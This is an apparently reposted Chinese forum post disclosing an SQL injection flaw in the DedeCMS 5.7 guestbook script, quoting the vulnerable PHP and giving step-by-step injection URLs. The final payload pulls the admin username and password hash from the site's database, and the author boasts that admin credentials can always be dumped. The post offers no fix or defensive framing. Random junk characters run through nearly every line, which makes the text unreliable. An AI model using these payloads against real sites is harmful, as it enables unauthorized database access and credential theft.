影响版本为5.7! J: w" U' i; T& Y! D9 V: C
) K Z( o! T! L- T5 P1 J0 J4 c
漏洞文件edit.inc.php具体代码:, e$ D" h( F8 k8 Z ^9 O
9 W6 a# A/ n2 x< ?php 2 G; b* L3 u# S
$ y& f. M1 W9 j' Z$ @& n+ nif(!defined('DEDEINC')) exit('Request Error!'); 0 _9 o7 _- @7 c7 |5 D6 a5 ?
7 t" S$ G/ {, P1 ~( g0 C
1 f6 l& G5 c. H2 d& i6 ~8 i, x' S9 w) |' B9 G5 Q: N% W
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; : [- b4 ?; D/ w. D) k+ {
5 m& k7 ^, f! F* Y
else $GUEST_BOOK_POS = "guestbook.php"; $ o/ B. o0 E* Z8 h0 ^
* v* I' X: w9 W
# ^+ p3 v: A" t% l- S# |0 A) [$ M6 D7 A
$id = intval($id); , x2 D" M/ Q7 N, e6 g- A4 D
5 L' G; [: z4 Z' B) ]
if(empty($job)) $job='view'; 4 u: Z. r: d) e3 D. }/ U
& E6 f) Z/ J0 g' S% W5 f . {3 g! l8 `( Q4 a
/ l% B- j( i5 T' [/ x4 i, Uif($job=='del' && $g_isadmin)
8 P1 G# i) w: c
* H& b! Y" ?# r5 k9 C( X( b' F" W6 ~{ & K) h+ j. Z" U. V. q9 \7 L! A
, K1 j0 O: A; G% m# B# n& }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ) h& i1 n4 _( n: Z# c
4 |% G! Q$ R! R5 F, Q+ ]
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
2 Y5 C F' m7 Q: p0 ` J0 m5 o, Q4 [( X2 t9 c* z B2 v: G% w
exit();
8 z* r$ E* F) D w# M) i" ~- `; m+ E/ S0 Y$ j
} ; C0 \9 q- a# N1 }
! p' p) L2 ~9 W5 B' xelse if($job=='check' && $g_isadmin)
6 N( A0 o7 p- }3 u
) M" r9 p1 U" b1 L{
2 g [1 Y. p1 a% @
5 ]7 a7 v0 r$ [" } i$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 8 |' n2 T" q! m( D1 B
) l0 h ~) W) WShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
2 u; B. z6 i4 b* a% o
- d3 ^! h: b" r2 N& Rexit(); # v; c$ m2 s8 Z+ |4 T4 T
# p% }2 Q! L$ k# A. N6 g$ j; p
} 6 U& r$ f5 e! S: d$ p% [
1 L5 R# [" E) X& N: m
else if($job=='editok')
( m5 h9 u5 H% A( q
& x+ K1 }$ |* \, k: M+ W{
) [/ @* I0 {4 f2 O _1 D# u( c# s. Y! j5 w3 O& w
$remsg = trim($remsg); ' H. _# |" a. M2 T
9 C3 U8 v& Y) m7 W2 b0 k& L0 ^; q
if($remsg!='')
' N3 M. x9 y: a' A. w" Z, L B/ s4 a6 C3 t
{ ; h- _& e! w2 ~9 p3 L
# f: {5 y# r; ]0 ~2 [- H//管理员回复不过滤HTML By:Errorera blog:errs.cc 0 y1 U. ^7 _" l1 ^$ P; d
: o( i5 x, {' N. S ]5 f& u
if($g_isadmin)
% P# V+ E: y! t, e
0 g% ^& ]; U: k" g3 R A) J{ - v. t. z/ U0 h0 W. m/ w- F6 e
$ [% v8 F8 ]" [$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; & d8 }2 O+ a: {9 b. Q% ?
0 g* ?1 _- \3 K1 b$ C" L
//$remsg <br /><font color=red>管理员回复:</font> } " ]0 R( ?$ `9 t) u2 ?' l& q0 a2 y
; [- D/ s8 P2 C/ e6 f0 p
else 2 C, \9 a/ f- H4 Z4 O
! ^6 D( u+ j5 v+ I, I7 x8 X{
5 Q& C3 E2 Q' F2 {) ]! T5 O) n }- p8 _
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); / L' j: x* B2 w5 R
4 A6 k, @. N* j; a8 B Q: x% v( f) U$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 5 v* h! L" G! o2 q( H
; R( t1 O0 N6 @
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
u) J1 F8 w7 w) ]" B; i6 R
& b8 d( v2 ^0 t# _# I$ |$msg = $oldmsg.$remsg;
2 s" b w9 h2 q8 E
0 ?+ X6 B9 r |8 ?}
' |6 F2 i! P1 k. G- y/ U' X- q' P
- j0 S$ v0 P/ {0 s} ' D# `7 g& s9 E& P6 Q
& b0 [: I5 G: E) `% G//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc ( V; ]0 ^ {3 I ~
# D' x; W. s( V H* {5 Q: O
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
7 `* O% f7 v, l/ |0 A* i! @, f( R/ J$ b( x
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); / G% }9 e( I% i
- l2 l& k! V/ l9 `) t1 K
exit();
8 w3 Z3 D+ E4 m/ q$ Y$ r3 A5 z' x9 H2 n% E4 O: P# V
}
+ F$ q: _$ Z( o0 `" ~- y6 B
9 Y/ Y! R' d+ B& B# M0 z//home:www.errs.cc " ^% ~' m4 P3 n* P
2 b, W5 P/ d/ L5 j$ m/ N% R
if($g_isadmin)
- P- j% w. \3 ?. |8 N8 K' b9 w/ y& j2 D
{ / {+ {6 s% Z& E# }' O- r8 R
2 U. j/ D* z; _( r$ @5 |$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); ! f8 k' a* u, Z, h% J/ w
& v/ U6 N- C; R! crequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ! S+ a: K( I1 N6 ~6 O
# T( U9 O( D- E6 J: @}
/ c! V1 o# |" W$ z8 `( s! i0 J1 ?+ M2 o* |, y# Q- u" B$ A
else
8 _* }9 @& k( H' m2 H! @, g! l/ r) M5 G% }, Y5 u: W
{
* n: Q$ b. l O8 `5 T* D7 Q: w. U8 }+ L2 D) _' k- Z/ I
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ D' h5 d* n+ Z6 Z( p w/ C3 V/ R2 h/ c- { `# m5 m6 G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
+ r7 i3 d8 h0 t+ Y# d; [4 }8 m, A( d8 y/ M/ g4 {' `7 E! W$ J( F
} 漏洞成功需要条件:1 D! [: |) I6 C4 y% b
1. php magic_quotes_gpc=off
3 c. q; u8 y& }, a) `2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! ]1 `! {' k9 s$ i, E
: t9 W. i; n% K. f5 ?怎么判断是否存在漏洞:
3 F9 V6 ^( x3 A8 [% z$ l6 R5 Z1 B先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,5 f4 U9 t: H5 O- d" F
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID1 H# [' d$ R9 T: J
访问:
6 ~# x- W4 W" k' m: P" A7 _' r
$ ], W9 h J+ l7 [2 z2 g9 T! Kwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了0 W" \8 i m% c+ g
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# k1 [# s7 i! v4 Q1 T
, D/ {& U; R+ ~$ }3 v) _! t) E+ W. W2 v3 i4 f4 t7 m: m
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off$ D! i3 D/ N' O9 X& ^
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。2 u. ?" g. Z# W& e x" `5 S
那么再次访问( {4 _* w0 q4 @8 o. y' I1 O5 w
6 O7 ]: c: e f" q$ e' f/ D F6 Z) o
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 j2 W( ?8 w1 b0 V
, ?4 r& v+ l4 b: R, v `大概利用就是这样,大家有兴趣的多研究下!!& Z2 T# f1 h4 F, Q& [* Y4 ]
: Z$ r: [( \* @
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
' x2 A/ j2 x2 W$ F1 Q, [4 s) n
6 {; \" F4 ?' Q, Z# ~" a0 }view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |